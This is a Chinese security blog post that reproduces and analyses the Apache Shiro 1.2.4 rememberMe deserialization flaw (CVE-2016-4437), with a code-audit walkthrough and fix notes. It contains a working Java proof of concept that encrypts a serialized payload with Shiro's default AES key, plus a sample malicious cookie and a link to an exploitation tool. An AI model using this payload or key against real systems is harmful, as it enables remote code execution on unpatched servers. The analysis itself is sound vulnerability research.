• 『Java安全』Shiro1.2.4反序列化漏洞(Shiro-550|CVE-2016-4437)复现与浅析


    影响版本

    Shiro<=1.2.4

    漏洞原理

    shiro支持rememberMe功能,通过记录cookie来达到短期免登录效果

    开启rememberMe后,用户登录会生成加密cookie

    在这里插入图片描述

    Cookie生成:AES加密->base64加密->返回浏览器rememberMe值
    Cookie验证:接受请求rememberMe值->base54解密->AES解密->反序列化

    cookie的来源是一串序列化串,验证时调用readObject反序列化,因此只要伪造cookie为序列化payload就能搭配其他组件完成RCE

    默认AES密钥是kPH+bIxk5D2deZiIxcaaaA==能够在jar包查到,而手动配置的密钥硬编码在jar包里面也能通过代码审计拿到

    在这里插入图片描述

    手动复现

    复现代码

    环境修改自上一篇复现越权访问漏洞的笔记

    https://ho1aas.blog.csdn.net/article/details/125404334

    pom

    修改pom,添加cc4.0来用cc2链子打

            <dependency>
                <groupId>org.apache.shiro</groupId>
                <artifactId>shiro-spring</artifactId>
                <version>1.2.4</version>
            </dependency>
    
            <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
            <dependency>
                <groupId>org.apache.commons</groupId>
                <artifactId>commons-collections4</artifactId>
                <version>4.0</version>
            </dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    ShiroConfig

    添加cookie处理的bean

        @Bean
        public CookieRememberMeManager rememberMeManager(){
            CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
            cookieRememberMeManager.setCookie(rememberMeCookie());
            //cookieRememberMeManager.setCipherKey(Base64.decode("xxx"));
            // 默认是kPH+bIxk5D2deZiIxcaaaA==
            return cookieRememberMeManager;
        }
    
        @Bean
        public SimpleCookie rememberMeCookie(){
            SimpleCookie simpleCookie = new SimpleCookie("rememberMe");
            simpleCookie.setHttpOnly(true);
            simpleCookie.setPath("/");
            simpleCookie.setMaxAge(30);
            return simpleCookie;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    UserServiceImpl

    开启rememberMe功能

    在这里插入图片描述

    复现操作

    按照正常生成rememberMe字段的方式:序列化->AES加密->Base64加密

    package com.example.shirospring.manual;
    
    import org.apache.shiro.crypto.AesCipherService;
    import java.io.*;
    import org.apache.shiro.codec.Base64;
    
    public class Shiro550{
        public static void main(String[] args) throws Exception {
            Test test = new Test();
    
    		// 序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(test);
    
    		// AES加密
            String key = "kPH+bIxk5D2deZiIxcaaaA==";
            byte[] byteKey = Base64.decode(key);
            AesCipherService aesCipherService = new AesCipherService();
            byte[] ans = aesCipherService.encrypt(baos.toByteArray(), byteKey).getBytes();
    
            System.out.println(new String(Base64.encode(ans)));
            oos.close();
    
        }
    }
    
    class Test implements Serializable{
        static {
            try {
                Runtime.getRuntime().exec("calc");
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    生成的payload,放到cookie字段,burp发包即可

    SyLbV1LwhFXSxjoXzpN1cV1gjv57RVElNq/WDFu5hRAx9YU9gKcIuxaHzcA65FYaT0q659UcnNH1OkevQ11GFATx96pnNjHEc0H7T/P+2tM=
    
    • 1

    在这里插入图片描述

    代码审计

    登录admin之后,访问secret.html,之前配置过的,要admin才能访问

    DefaultSecurityManager.createSbject打上断点,然后进入this.resolvePrincipals()这里是处理cookie的入口
    在这里插入图片描述
    进入getRememberedIdentity()

    在这里插入图片描述
    进入我们定义的Bean CookieRememberMeManager.getRememberedPrincipals()进一步处理

    在这里插入图片描述
    首先对cookie进行base64解码操作,返回byte[],具体细节可以进去查看

    在这里插入图片描述

    然后进入下面的this.convertBytesToPrincipals()

    在这里插入图片描述
    里面有两步操作,首先看decrypt,调用AesCipherService进行解密

    在这里插入图片描述

    默认密钥kPH+bIxk5D2deZiIxcaaaA==

    密钥来自于初始化

    在这里插入图片描述


    this.deserialize()判断非空就直接readObject了

    在这里插入图片描述

    没有判断cookie是否合法,因此只要拿到AES密钥就能完成攻击

    修复

    shiro1.2.5更新必须手动指定aes key,其他不变,因此反序列化流程还是不变,如果开发者设置key为常见值也容易被爆破出来

    漏洞检测

    利用工具

    https://github.com/SummerSec/ShiroAttack2

    输入AES密钥,然后配合cc攻击

    在这里插入图片描述

    探测是否开启rememberMe功能

    在这里插入图片描述

    如何获取/爆破AES密钥?

    按照参考文章的描述,总共有几种方式:

    • 默认
    • 硬编码,直接反编译拿到
    • 搜集互联网上常见的shiro aes编码,如github搜索setCipherKey(Base64.decode

    yso链子改造

    https://www.anquanke.com/post/id/192619

    参考

    https://paper.seebug.org/1503/
    https://mp.weixin.qq.com/s/ayZKDVnN7zEbKjo5w8uqxQ
    https://www.anquanke.com/post/id/225442
    https://su18.org/post/shiro-2/

    欢迎关注我的CSDN博客 :@Ho1aAs
    版权属于:Ho1aAs
    本文链接:https://ho1aas.blog.csdn.net/article/details/125409939
    版权声明:本文为原创,转载时须注明出处及本声明

  • 相关阅读:
    聊聊 MySQL 事务二阶段提交
    k8s实用命令
    uniapp 学习笔记二十四 购物车编辑弹窗页面搭建
    极智AI | 多场景覆盖 看昇腾新推出的 Atlas300 系列新卡
    制作温馨浪漫爱心表白动画特效HTML5+jQuery【附源码】
    tsne可视化cnn模型
    网络安全日报 2023年09月21日
    gradle-2初始化篇(LoadSetings)
    前端八股文之“闭包”
    温故 Spring5 特性
  • 原文地址:https://blog.csdn.net/Xxy605/article/details/125409939